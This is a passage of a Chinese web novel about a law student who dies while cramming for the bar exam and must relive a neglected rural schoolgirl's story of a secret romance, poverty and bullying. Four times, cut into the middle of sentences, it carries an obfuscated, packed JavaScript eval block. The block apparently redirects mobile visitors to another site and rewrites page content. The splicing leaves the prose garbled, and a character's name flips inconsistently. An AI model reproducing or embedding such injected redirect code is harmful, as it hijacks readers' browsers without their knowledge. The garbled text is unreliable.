《答对了就能出去》 1. 第 1 章灵魂出窍 凌晨2:18分,林昭脑袋突然向下移动,砸在了一块板砖上,她睁眼一看原来学习平板没电关机了,平板是二手淘来的是宜货,电池老化了经常一会就关机了,林昭早就习惯了。无奈的她把《民法典》翻到第三百一十一条,食指按在“善意取得”那几个字上,眼皮又开始打架。这已经是今天的第五遍,还是记混——什么情况下适用善意取得?动产和不动产一样吗?占有脱离物呢?她脑子像一锅粥。手机屏幕亮了一下,凌晨两点四十七分。桌上的红牛空罐子歪倒着,她伸手去够,才发现早就喝完了。算了。她用力眨眨眼,指甲掐进虎口,疼一下,清醒三秒,然后继续往下看。“无处分权人将不动产或者动产转让给受让人的,所有权人有权追回;除法律另有规定外,符合下列情形的,受让人取得该不动产或者动产的所有权……”窗外的路灯透过窗帘缝挤进来一道光,正好落在书页上。她盯着那道光发呆,想起小时候发烧,妈妈也是这么开着一条门缝,让客厅的灯光透进来,怕她半夜醒来害怕。那时候她想当律师,因为家里拆迁分房子的时候被人坑过。合同签完才发现对方根本没资格卖,官司打了两年,钱追回来一半。那会儿她就想,要是自己懂法,是不是就不会这样了?现在她只想把这本书背完。还剩八十三天,客观题、主观题,两座大山压着。去年差四分,今年不能再差了。她把那道光从书上赶走,翻到第三百一十二章。三点二十分的时候,她开始觉得胸口有点闷。林昭没当回事,这半年她什么症状没体会过?心悸、手抖、偏头痛、月经停了三个月,都是小意思。她甚至有点得意——这说明她真的够努力,努力到身体都发出警告了,这种自我感动式的悲壮感,是她坚持下去的唯一燃料。她站起来倒了杯水,发现腿有点软,扶着桌子站了一会儿,又坐回去。 “无权处分……”她念出声来,声音哑得像砂纸。最后一个念头是:明天早上八点的闹钟,不能按掉,要起来背物权编。然后她的头就磕在了《民法典》上。不疼。这是林昭的第一个感觉。额头撞上书脊应该有声音的,但她没听见。她想抬头,发现自己动不了。准确地说,她的身体动不了。她就那么低着头趴在桌上的姿势,但她的视线却在往上飘。她看见自己的后背,看见那件穿了三天没换的灰色卫衣,看见手边的红笔滚到地上,看见台灯的光晕里飞着一只小虫子。她想喊,喊不出声。然后她就飘起来了。整个过程平静得像做梦,没有白光,没有隧道,没有走马灯。她只是从自己的身体里浮出来,像水面上漂起一片叶子。她低头看着趴在桌上的自己,后脑勺的头发乱糟糟的,橡皮筋快掉下来了。她突然想笑——原来死的时候这么难看。但下一秒她就笑不出来了。因为周围在变黑。不是灯灭了那种黑,是整个世界像褪色一样,从边缘开始消失。 她伸出手想抓住什么,什么都没有。黑暗漫过头顶的时候,她听见一个声音,很远,又很近。“欢迎来到【法考地狱模式·死磕版】。”林昭睁开眼。她站在一个大厅里。很大,真的很大,大到她一眼望不到边,但又不是空旷——四周的墙壁是暖白色的,地面是浅灰色的,顶上没有灯,却有均匀的光洒下来。整个空间安静得不像话,安静得她能听见自己的心跳。不对,她还有心跳?她低头看自己,还是那件灰色卫衣,还是那条牛仔裤,脚上还是一只袜子——另一只大概掉在书桌底下了。她抬手摸摸脸,有温度,有触感。“检测到考生意识已激活。”那个声音又响起来,这次是从正前方传来的。林昭抬头,看见一个东西朝她滑过来。说是机器人不太准确,它更像一个会动的圆柱体,银白色,一米来高,顶部有个屏幕,屏幕上显示着一张简笔画风格的脸——两个圆点眼睛,一条弧线嘴巴,正在微笑。“考生林昭,女,26岁,第三次报名法律职业资格考试,客观题最高纪录171分,未通过。死亡时间2024年3月17日凌晨3点42分,死亡原因:心源性猝死。生前最后一本阅读书目:《民法典》,最后一页:第三百一十一章。” 林昭张了张嘴,半天憋出一句:“你谁啊?”圆柱体上的屏幕眨了眨眼:“我是本考场的考试系统,你可以叫我【法考君】。工号1147,很高兴为你服务。”“考场?”“是的。根据《灵魂管理处关于特殊人才定向回收的暂行办法》,因备考过劳死亡的考生,可进入【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347219|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法考地狱模式·死磕版】继续参加考试。通过所有关卡者,可获得复活资格,重返人间继续参加法考。”林昭愣了三秒。“等等,”她抬手打断它,“你的意思是,我死了,然后现在要在这里继续考试?”“是的。”“考过了就能活?”“是的。”“考不过呢?”法考君屏幕上的笑脸变成了一条直线:“那就继续考,直到考过为止。”林昭站在原地,脑子里一片空白。她想骂人,但不知道该骂谁。她想哭,但发现自己好像哭不出来。最后她只是深深吸了口气——虽然她不确定这口气有什么用——然后问:“考什么?”法考君的脸又弯成笑脸:“根据您的生前学习记录,系统已为您生成个性化题库。每个关卡对应一个法律知识点,您需要进入不同的房间答题。答对,出房间;答错,留在房间里继续答,直到答对为止。”“房间?”林昭这才注意到,大厅的四周分布着许多门。灰白色的门,均匀地嵌在暖白色的墙上,一眼数不清有多少扇。每扇门上都有一个发光的词条,有的亮,有的暗。亮的那些上面写着:【善意取得构成要件】【无权处分与无权代理的区别】【抵押不破租赁的例外情形】【保证方式的推定规则】【不当得利的返还范围】暗的那些看不清字,像被雾蒙住了。“这些是您生前尚未掌握的知识点。”法考君滑到她身边,屏幕朝向她,“亮着的,是您曾经做错过的题目对应的考点。暗着的,是您还没来得及学的。您可以从亮着的开始选。”林昭盯着那些词条,手指无意识地蜷了起来。《民法典》第三百一十一章,“善意取得”,她背了五遍的那个,怎么也记混的那个。就在第一扇门上。她走过去,伸手,指尖碰到门的那一刻,门上的光突然亮了一下,像活过来似的。“确认选择【善意取得构成要件】关卡吗?”法考君在她身后问。林昭没回头。她的手按在门上,凉的,但不是那种刺骨的凉,更像是触摸一块被阳光晒过的石头。门的触感很真实,比她想象的更真实——毕竟她已经死了,不应该还能感觉到温度。她想起桌上那本摊开的《民法典》,想起自己磕下去的头,想起那杯没喝完的水。八十三天,就差八十三天。“确认。”她说。 门开了。 2. 命运循环01 林昭进入房间后,映入眼帘的是一对校园情侣,时间写着2015年5月。他们手牵手走在校园的操场上,操场上来来往往的人群中,二人的牵手的行为明显在人群中倒显得突兀。突然地,天开始由暗变明,场景突然切换到学校走廊,可以瞥见教室里的人都在午休,此时的阳光从走廊西头照进来,把窗玻璃上的灰尘都照得清清楚楚。邬小满趴在栏杆上往下看,操场上有几个男生在打球,喊声隐隐约约传上来,听不清喊的什么。 她其实是在等人。 第三节课下课的时候周深给她递了张纸条,就两个字:老地方。她攥在手心里揉成一团,扔进桌洞里,然后又捡出来,塞进校服口袋里。 口袋有点破,纸条戳出去一个角。 她不想让别人看见。但更怕自己看不见。 周深是第四节课后翻墙出去的,她亲眼看见的。他翻墙的动作很熟练,双手撑住墙头,腿一甩就过去了,校服被风鼓起来一瞬,像一只灰扑扑的鸟。她站在女厕所的窗户后面看,心跳得很快,又觉得有点骄傲——那么多人喜欢他,只有她能让他写纸条。 老地方是学校后面那条巷子,第三根电线杆底下。那里有个监控死角,小卖部老板娘睁只眼闭只眼,从来不问他们为什么不上课。 林小满等到十二点四十才去。 她先去食堂转了一圈,打了饭,倒掉,然后把餐盘放到回收处。这样万一有人问,她可以说自己吃过饭了。 巷子里没有人。她站在第三根电线杆底下等了一会儿,脚趾在鞋里蜷起来又松开,松开又蜷起来。太阳晒得后脖颈发烫,她把手背过去挡着,有点后悔没扎头发。 周深是从巷子另一头过来的,手里拎着一个塑料袋。 “等多久了?” “没一会儿。” 他把塑料袋塞给她:“趁热。” 里面是一份肯德基的汉堡,还有一杯奶茶。汉堡还是热的,隔着袋子烫她的手心。林小满低头看了一眼,没说话。 “怎么了?不想吃?” “不是。”她抬起头,笑了一下,“就是……你怎么知道我想吃这个?” 周深没回答,伸手把她刘海上一根不知道哪来的线头捻下来,动作很轻,像捻一片掉在头发上的花瓣。 “吃吧,凉了就不好吃了。” 林小满咬了一口汉堡,面包很软,鸡肉是辣的,辣得她眼眶有点热。她假装被呛到,转过头咳了两声。 “慢点吃,又没人跟你抢。” 她没说话。她没法告诉他,这是她这半个月吃得最好的一顿。家里的冰箱早就空了,奶奶上周说要去买,但一直没去。爷爷的养老金刚够交电费和药钱,她开不了口要。 其实她也开了口。 上周她跟奶奶说想买个新书包,这个书包背了三年,拉链坏了,书老往外掉。奶奶看了她一眼,说等你爸妈打钱回来。然后就没然后了。 爸妈上个月打电话了吗?她不记得了。可能打了,可能没打。反正说的都是那几句:好好学习,听爷爷奶奶话,钱过两天打。过两天永远是过两天。 “想什么呢?” 周深的脸凑过来,离她很近。她看见他眼睛里有自己的影子,小小的,被阳光切成两半。 “没想什么。” “吃完了?” 她低头看,汉堡不知什么时候已经吃完了,只剩包装纸皱巴巴地窝在手里。 “走吧,”周深站起来,伸手给她,“去我那儿待会儿。” 她把手放进他手心,被他拉起来。他的手很热,有点糙,握得很紧。 周深租的房子在学校后面那片自建房里,走十分钟就到。巷子很窄,两边墙上爬满青苔,地上总有积水,得踮着脚走。他走在前面,牵着她的手,时不时回头看她一眼,像怕她走丢。 楼梯是露天的,铁栏杆锈得不成样子,手扶上去一手红。爬到三楼,他掏出钥匙开门,门推开的时候吱呀一声,里面一股洗衣液的香味飘出来。 “坐。” 林小满在床边坐下。房间很小,一张床一张桌子一把椅子,桌子上摆着泡面碗和烟灰缸。窗帘拉着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347220|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半,光从缝隙里透进来,在墙上切出一道亮边。 周深倒了杯水给她,也在床边坐下。 “下午还回去吗?” “第一节是班主任的课。” “那就不回了。” 林小满没说话。她知道自己应该回去,班主任上周刚找过她,问她为什么老是上课走神,是不是家里有什么事。她摇头说没有。班主任看了她一会儿,说有什么事可以跟老师说。 能说什么呢?说她爸妈不管她?说她一天只吃一顿饭?说她跟一个十七岁的男生谈恋爱,因为他会给她买肯德基? 她说不出口。 周深的手搭在她肩上,把她往自己那边带了带。她顺势靠过去,头抵在他肩膀上,闻到他衣服上洗衣液的味道,还有一点点烟味。 “你爸妈今天打电话了吗?” “没有。” “那你爷爷奶奶呢?” “他们不管我。” 周深没再问。他的手轻轻拍着她的手臂,像哄小孩睡觉。窗户外面有只猫在叫,叫一会儿停一会儿,叫一会儿停一会儿,不知道在叫什么。 “林小满。” “嗯?” “等以后,我养你。” 她抬起头看他。他的眼睛很黑,没有笑,是认真的。 “你拿什么养?”她问。 “我有手有脚,总能挣到钱。” 她盯着他看了几秒,又把头靠回去。胸口有什么东西在翻涌,说不清是酸还是暖。她想说你不也是个学生吗,你才十七岁,你能养我什么?但她没说。 她只是嗯了一声。 阳光在墙上慢慢移过去,从床脚移到床头,又从床头移到墙上。那只猫不叫了。楼下有人骑电动车经过,突突突的声音由远及近,再由近及远。 她不知道自己什么时候睡着的。醒过来的时候周深不在,桌上放着一杯新倒的水,还有一张纸条:我去买烟,马上回来。 她把纸条折好,塞进口袋里,和中午那张叠在一起。 口袋还是破的。 3. 命运循环02 林小满是被手机震醒的。 她摸出来看,闺蜜林雨的微信:你下午又没来?班主任点名了。 屏幕上的时间显示下午四点二十七。她盯着那几个数字看了好几秒,脑子才慢慢转过来——睡了快三个小时。 周深还没回来。 她坐起来,床垫吱呀一声。窗外的光已经变了,从正午的白变成下午的黄,窗帘上的花纹被照得很清楚。她发了会儿呆,低头看手机,林雨又发了一条:回话啊,急死了。 她打字:没事,帮我把书包带出来,老地方见。 发完她把手机扔在床上,站起来走到窗边,掀开窗帘一角往外看。楼下巷子里没有人,对面楼顶晾着花花绿绿的衣服,风吹起来的时候袖子乱甩,像在招手。 门响了一下。 周深进来,手里拎着一个塑料袋,看见她站在窗边,愣了一下:“醒了?” “嗯。” “饿不饿?买了包子。” 她没说话,走回床边坐下。周深把袋子递给她,包子还是热的,她咬了一口,是肉馅的。 “下午还回去吗?” “要回去拿书包。” “我送你。” “不用。” 周深没再坚持,在她旁边坐下,掏出烟来点了一根。烟雾在光里扭动着往上飘,味道有点呛,但林小满没躲。她靠在他肩膀上,继续吃包子,一口一口,吃得很慢。 吃到一半的时候她突然想起来,今天还没吃药。 那个药是她上周自己去药店买的,紧急避孕的,花了她七十多块钱。她攒了两周的早饭钱。药店的阿姨看了她一眼,问满十八了吗,她说满了,阿姨就没再问。 她其实不知道有没有用。她也不敢查。手机浏览器里搜过的东西,她每次都删记录。 “怎么了?” “没什么。” 她把最后一口包子塞进嘴里,嚼了很久才咽下去。 回到学校的时候正好赶上课间操结束,人流从操场上涌回来,把走廊挤得满满当当。林小满逆着人流往教室走,有人在背后喊她名字,她回头,是林雨。 林雨跑过来,把她的书包往她手里一塞:“你疯啦?一下午不见人,我还以为你出事了。” “没事,就是睡着了。” “在他那儿睡的?” 林小满没回答。 林雨把她拉到一边,压低声音:“你是不是傻?班主任今天点名,你名字念了三遍,全班都知道你没来了。明天肯定找你谈话。” “谈就谈呗。” “你能不能认真点?”林雨急了,“你成绩又不差,努努力能考高中的,你天天跟他在一块儿干嘛?他什么人你不知道?初中都没毕业,在社会上混的——” “他给我买吃的。” 林雨愣住了。 林小满看着她,声音很平:“他给我买汉堡,买奶茶,买包子。他问我饿不饿,他给我倒水喝。你知道我爸妈上次问我饿不饿是什么时候吗?我不记得了。” 林雨张了张嘴,半天没说出话。 “我先回教室了。”林小满背着书包往前走,走了两步又停下来,“别告诉别人。” 她没回头,所以没看见林雨站在原地,眼眶红红的。 第二天果然被班主任叫去了。 办公室里有别的老师在,班主任让她等一会儿,自己批完手上的作业才抬起头来。林小满站在办公桌旁边,看着窗外的树发呆。 “林小满。” 她转回头。 班主任是个四十多岁的女人,头发有点白,戴着眼镜,看人的时候眼神很温和。她让林小满坐下,倒了一杯水给她。 “昨天下午怎么没来上课?” “不舒服,在宿舍睡觉。” “去医务室看了吗?” “没有,睡一觉就好了。” 班主任看了她一会儿,那眼神让林小满有点不自在,像是什么都被看穿了似的。 “你家里的情况,老师大概知道一点。”班主任把眼镜摘下来,放在桌上,“你爸妈在外面打工,一年回来不了几次,你跟爷爷奶奶住。爷爷奶奶年纪大了,顾不上你,你自己要学会照顾自己。” 林小满没说话。 “有什么事可以跟老师说。学习上有困难,生活上有困难,都可以说。” “没有困难。” 班主任沉默了几秒,重新戴上眼镜,从抽屉里拿出一个信封递给她。 “这是什么?” “学校有个助学金项目,我给你申请了。钱不多,一个月两百块,够你吃饭的。拿着。” 林小满没接。 她盯着那个信封,喉咙像被什么堵住了。她不知道自己该说什么,只知道眼眶有点热,热的她想揉。 “拿着啊。” 她伸出手,接过来。信封很轻,里面大概就是几张纸,但她觉得有千斤重。 “谢谢老师。” “行了,回去上课吧。以后别逃课了。” 她点点头,转身往外走。走到门口的时候又停下来,回过头想问什么,但班主任已经在批作业了,低着头,没看她。 她没问出口。 她想问的是:老师,你为什么要帮我? 但她没问。 下午第三节课后,周深又递了纸条。这次她没去。 她坐在教室里,把那两百块钱的助学金申请表看了三遍,然后折好,塞进书包最里层。林雨在旁边写作业,时不时抬头看她一眼。 “你今天不去?” “不去了。” 林雨愣了一下,没问为什么,低下头继续写作业。过了一会儿,又抬起头来,把自己的笔记本推过来:“英语笔记,借你抄。” 林小满看着那本笔记本,封面上贴着林雨名字的标签,角有点卷了,是用过的。 她接过来,翻开,第一页写满了单词。 窗外的阳光斜斜地照进来,落在课桌上,落在笔记本上,落在她握笔的手上。她抄了三个单词,停下来,看着自己的手。 那双手今天早上还牵过周深的手。 那双手今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347221|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午还接过老师的信封。 她不知道哪只手是对的。 放学的时候,周深在校门口等她。他靠在那棵梧桐树下面,叼着烟,看见她出来就把烟掐了。 “怎么没来?” “有事。” “什么事?” 她没回答,站在他面前,看着他的脸。他今天穿了件黑色的T恤,头发有点乱,眼睛下面有点青,像是一夜没睡好的样子。 “周深。” “嗯?” “你昨天说,以后养我,是真的吗?” 他愣了一下,然后笑了,伸手揉她头发:“当然真的,骗你干嘛。” “那你拿什么养我?” “我找到工作了,下个月就去上班。一个修车厂,包吃住,一个月三千。” 她看着他,想说什么,但说不出来。 他还在笑,笑得很认真,眼睛弯弯的,里面有她。 “所以你别怕,”他说,“有我呢。” 邬小满低下头,看着自己的脚尖。校服裤子有点短了,露出脚踝,风一吹有点凉。 “走吧,”她抬起头,“送我回去。” “好。” 他们沿着路边走,太阳在他们背后落下去,把影子拉得很长很长。路上有放学的学生骑着自行车过去,铃声叮铃铃响。有卖糖葫芦的老头推着车经过,糖葫芦在夕阳里亮晶晶的。 周深走在她左边,靠近马路的那边。 她不知道他是故意的还是无意的。 走到巷子口的时候,她停下来。 “到了?” “嗯。” “那你进去吧,我看着你进去。” 她没动。 “怎么了?” 她踮起脚,在他脸上亲了一下,很快,像做贼。 然后她转身就跑,跑进巷子里,跑过那些爬满青苔的墙,跑到家门口才停下来,喘着气回头。 他已经走了。 巷子口空空的,只有路灯刚亮起来,黄黄的,照在地上。 她站在那儿,喘了很久。 晚上奶奶做了面条,卧了一个荷包蛋,放在她碗里。 “吃,多吃点,瘦成这样。” 她把荷包蛋夹成两半,一半放回奶奶碗里。 “干啥,给你吃的。” “我吃不完。” 奶奶看着她,没再说什么,低头吃面。 电视开着,在放什么电视剧,吵吵闹闹的。爷爷早就睡了,收音机还在床头放着,嗡嗡嗡的。 “奶。” “嗯?” “我爸妈……什么时候回来?” 奶奶顿了一下,筷子停在碗里。 “问这干啥?” “没什么,就是问问。” 奶奶没回答,继续吃面。电视里的声音很大,盖过了一切。 邬小满也没再问。 她低头吃面,吃着吃着,觉得脸上有点凉。 她伸手摸了一下,是眼泪。 她不知道自己什么时候哭的。 4. 命运循环03 林小满是在厕所里被堵住的。 第三节课后的大课间,她去上厕所,刚推开门就感觉不对——里面太安静了。平时这个点总有人排队,今天一个人都没有,只有最里面那间隔间的门关着。 她想退出去,背后有人推了她一把。 门在她身后关上了,声音很响。 “跑什么?” 说话的是宋婷婷,隔壁班的,据说在校外认识很多人。她后面还跟着两个女生,一个染着黄头发,一个胖胖的,林小满叫不出名字,但知道她们经常在一块儿。 “我没跑。” “没跑?”宋婷婷笑了一下,走过来,围着她转了一圈,“那你来厕所干嘛?上厕所?” 林小满没说话。 黄头发女生掏出手机,开始录像。镜头对着她的脸,她下意识偏过头去。 “别躲啊,”宋婷婷伸手把她下巴掰回来,“看着镜头。” 她的手很凉,指甲涂着暗红色的指甲油,有一块已经掉了,露出本来的颜色。 “听说你在跟周深搞对象?” 林小满心里咯噔一下,但脸上没表现出来。 “不关你事。” “不关我事?”宋婷婷笑了,笑得很大声,转头看另外两个人,“她说不关我事,哈哈。” 另外两个人也跟着笑。 笑声在厕所里回荡,瓷砖把声音撞来撞去,撞得林小满耳朵嗡嗡响。 “周深是我哥们的马子,你知道吗?”宋婷婷不笑了,盯着她,“他们还没分呢,你就插进去了,你说关不关我事?” 林小满愣住了。 她不知道这件事。周深从来没说过。 “怎么,不知道?”宋婷婷凑近她,眼睛眯起来,“他骗你的,傻逼。他有女朋友,在外地打工呢。你以为他真喜欢你?他就是图你新鲜,玩完了就扔。” “不可能。” “不信?”宋婷婷掏出自己的手机,划了几下,把屏幕怼到她脸上。 那是一张照片,周深搂着一个女孩,两个人对着镜头笑。女孩染着棕色的头发,化着妆,比林小满好看多了。 林小满盯着那张照片,脑子里一片空白。 宋婷婷把手机收回去,围着她又转了一圈,从上到下打量她。 “你说你有什么?要胸没胸,要屁股没屁股,穿得跟要饭的似的,他凭什么喜欢你?” 林小满还是没说话。她不知道该说什么。 “把她手机拿来。” 黄头发女生上前一步,伸手掏她的口袋。林小满下意识往后躲,但胖女生已经堵住了她的退路,把她按在洗手台边上。 “别动!” 手机被掏走了。黄头发女生划了几下,举起来给宋婷婷看。 “密码多少?”宋婷婷问。 “不告诉你。” 宋婷婷扬手就是一巴掌。 不是很疼,但很响。响声在厕所里炸开,把林小满自己都吓了一跳。她捂着脸,眼眶一下就红了,但她咬着牙,没让眼泪掉下来。 “密码。” 她说了一串数字。 宋婷婷划开手机,开始翻她的聊天记录。一边翻一边笑,还念出来:“‘我想你’、‘什么时候见面’、‘今天去我那儿吧’——哎哟,好肉麻啊哈哈哈哈——” 另外两个人也在笑。黄头发女生的手机一直对着她,红点一闪一闪的。 林小满低着头,看着自己的脚尖。厕所的地砖是白色的,有很多黑印子,不知道是谁踩的。她盯着其中一个黑印子,盯了很久,盯到眼睛发酸。 “这谁?林雨?”宋婷婷翻到另一个聊天框,“你闺蜜?她知道你跟周深的事?” “跟她没关系。” “她帮你打过掩护吧?骗老师骗家长的那种?” 林小满没回答。 宋婷婷抬起头看她,眼睛里有一种光,像发现了什么好玩的东西。 “你猜,要是我把这段视频发给你们班主任,会怎么样?” 林小满猛地抬起头。 宋婷婷笑了,笑得很开心。 “害怕了?” “你想干什么?” “不想干什么。”宋婷婷把手机扔给她,“就是告诉你,离周深远点。他是我哥们的马子,轮不到你。听明白了吗?” 林小满接住手机,没说话。 “问你话呢,听明白了吗?” “……明白了。” “大声点。” “明白了!” 宋婷婷满意地点点头,往后退了一步。 “走吧。” 林小满往外走。走到门口的时候,背后传来宋婷婷的声音: “等等。” 她停下来。 “刚才那巴掌,是我替那姐妹打的。你抢人家男人,该打。以后长点记性。” 林小满没回头,推开门出去了。 走廊里人来人往,有人在追跑打闹,有人在聊天说笑。她从他们中间穿过去,走得很快,走得很稳,像一个没事人一样。 走到教室门口的时候,她停下来,在门玻璃上照了照。 脸上有一个红印子,不太明显,但仔细看能看出来。 她用手捂着脸,走进教室,在自己的座位上坐下。林雨在跟前面的人说话,没注意到她。 她把脸埋在胳膊里,假装睡觉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347222|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 上课铃响了。数学老师走进来,开始讲一元二次方程。黑板上的粉笔字一个一个地出现,又被擦掉,再出现,再被擦掉。 她一直埋着头。 数学老师没点她名。可能以为她不舒服,可能根本没注意。谁知道呢。 放学的时候,林雨凑过来问她怎么了,下午一直没说话。 “没事,困了。” “你脸怎么了?” “什么怎么了?” “有个红印子。” 林小满伸手摸了一下,笑了笑:“撞门上了,没事。” 林雨看了她一会儿,没再问。 走出校门的时候,她看见周深站在那棵梧桐树下面。他今天穿了件白T恤,头发像是刚洗过,很黑很亮。 他看见她,朝她挥手。 她站在原地,没动。 他跑过来,跑到她面前,笑嘻嘻的:“今天怎么这么慢?等半天了。” 她看着他,看着他的脸,看着他的眼睛,看着他的嘴。 那张嘴说过“我养你”。 那张嘴也亲过别人。 “怎么了?”他伸手想摸她的脸。 她躲开了。 他愣了一下:“怎么了?” “你女朋友呢?” 周深的脸色变了。 “谁跟你说的?” “你别管谁跟我说的。有没有?” 他沉默了几秒,然后说:“分了。早就分了。” “什么时候分的?” “上个月。” “那她怎么说没分?” 周深不说话了。 林小满看着他,眼眶慢慢红了。她拼命忍着,不让眼泪掉下来。她今天已经忍了一天了,不能在这里破功。 “周深。” “嗯?” “你骗我。” 她转身就走。 他在后面喊她名字,她没回头。她走得很快,快到自己都有点喘不上气。天快黑了,路灯还没亮,路上的人越来越少。 她一直走,一直走,走到巷子口才停下来。 她站在那儿,喘了很久。 然后她掏出手机,打开相册,翻到下午宋婷婷翻的那页。聊天记录还在,周深发的那些话还在:“我想你”、“什么时候见面”、“今天去我那儿吧”。 她盯着那些字,盯了很久。 然后她把手机收起来,走进巷子里。 奶奶今天做的什么饭,她不记得了。爷爷有没有看电视,她不记得了。她自己是怎么睡着的,她也不记得了。 她只记得一件事: 明天,宋婷婷会不会真的把视频发给班主任? 5. 命运循环04 林小满一晚上没睡着。 她躺在床上,盯着天花板上的裂缝。那条裂缝从墙角一直延伸到灯座边上,像一道干涸的河流。她小时候经常看着它发呆,想象那是条路,沿着它能走到很远的地方。 现在她不这么想了。 路在哪儿都走不远。 第二天她起得很早,比奶奶还早。她把书包收拾好,把手机揣进口袋,坐在床边等天亮。窗帘透进来一点灰白色的光,很淡,像兑了水的牛奶。 “起这么早?”奶奶出来上厕所,看见她坐在那儿,愣了一下。 “嗯,今天值日。” 她撒谎了。但她不想跟奶奶说话,怕一开口就忍不住。 去学校的路上,她把手机掏出来看了三次。没有视频。没有消息。宋婷婷没找她,周深也没找她。 她不知道这是好事还是坏事。 早读课她一直走神,英语单词念了三遍都不知道念的是什么。林雨在旁边捅她胳膊,小声说:“你没事吧?脸色好差。” “没事,没睡好。” “是不是又——” “不是。” 她打断得太快了。林雨看了她一眼,没再问。 第一节课下课的时候,她出去接水,在走廊里碰见了宋婷婷。 宋婷婷靠在她教室门口的栏杆上,跟几个女生聊天,笑得很大声。林小满低下头,想从旁边绕过去,但还是被看见了。 “哟,这不是那谁吗?” 宋婷婷的声音从背后追上来。林小满没回头,继续往前走。水杯里的水晃出来一点,烫到手指,她也没停。 “跑什么呀?又不打你。” 有人在笑。林小满不知道自己是怎么走回教室的,只知道坐下来的时候,手心全是汗。 第二节课她什么也没听进去。 第三节课她也没听进去。 第四节课下课铃响的时候,她第一个冲出教室。 她没去食堂,直接去了学校后面那条巷子。她不知道自己为什么要去那儿,只是觉得脚不受控制,走着走着就到了。 第三根电线杆底下没有人。 她站在那儿,等了一会儿。太阳晒得头顶发烫,她往阴影里挪了挪,还是热。 她也不知道自己在等谁。 等了大概十分钟,背后传来脚步声。 “我就知道你会来。” 是周深。 她没回头。 他走过来,站在她旁边,也靠在电线杆上。两个人就这么站着,谁也不说话。巷子里很安静,偶尔有电动车经过,突突突的,很快又没声了。 “昨天的事,”周深先开口,“我想解释一下。” “不用。” “我跟她真的分了。上个月分的,没骗你。照片是以前的,她没删,我也没办法。” 林小满转过头看他。他今天没笑,脸上有点疲惫,眼睛下面青的,跟她一样没睡好。 “那你怎么不告诉我?” “告诉你什么?告诉你我以前谈过恋爱?”他有点急了,“谁还没点过去?你现在问我这个,那我问你,你以前有没有喜欢过别人?” “没有。” 周深愣了一下。 “没有。”她又说了一遍,“我没喜欢过别人。你是第一个。” 他沉默了。 林小满把目光收回来,继续看着巷子那头。那里有个垃圾桶,一只野猫蹲在旁边,舔自己的爪子,舔得很认真。 “那你想怎么样?”周深问。 “我没想怎么样。” “那你来找我干嘛?” “我没来找你。我就是……想一个人待着。” 周深不说话了。他从口袋里掏出烟,点了一根,吸了一口,吐出来。烟雾飘到她这边,有点呛,她没躲。 “我知道我骗你是我不对。”他开口,声音低下去,“但我对你是真心的。你信不信?” 林小满没回答。 那只野猫舔完爪子,站起来,走了。走得很慢,尾巴翘得高高的,一点也不着急。 “我昨天被人打了。”她说。 周深猛地转过头:“谁?” “你别管。” “谁打的?” “我说了你别管。” 周深把烟往地上一扔,用脚碾灭:“是不是宋婷婷?” 林小满没说话。 “她打你了?” “打了。” 周深转身就走。她一把拉住他:“你干嘛?” “找她去。” “你别去。” “她打你我不找她?” “你找她能怎么样?你也打她?”林小满死死拽着他的袖子,“她拍了视频,有我说话的,有她打我的。你要惹她,她把视频发出去,我怎么办?” 周深站在那儿,没动。 “她说你有女朋友,她说你骗我,她说你只是玩玩我。”林小满的声音抖起来,但她忍着没哭,“她说得对不对?” “不对。” “那你证明给我看。” 周深转过身,看着她。 “怎么证明?” 林小满松开他的袖子,往后退了一步。 “我不知道。你自己想。” 她转身走了。 这回她没跑,走得稳稳的,一步一步,像踩在什么很硬的东西上。她没回头,所以不知道周深站在原地看了她很久。 下午她回到学校的时候,林雨告诉她,班主任找她。 “又找我干嘛?” “不知道,就说让你去一趟。” 林小满站在办公室门口,深吸一口气,推门进去。 班主任还是坐在老位置,看见她进来,放下手里的红笔。 “坐。” 她坐下。 班主任看了她一会儿,那眼神跟上回一样,什么都看穿了 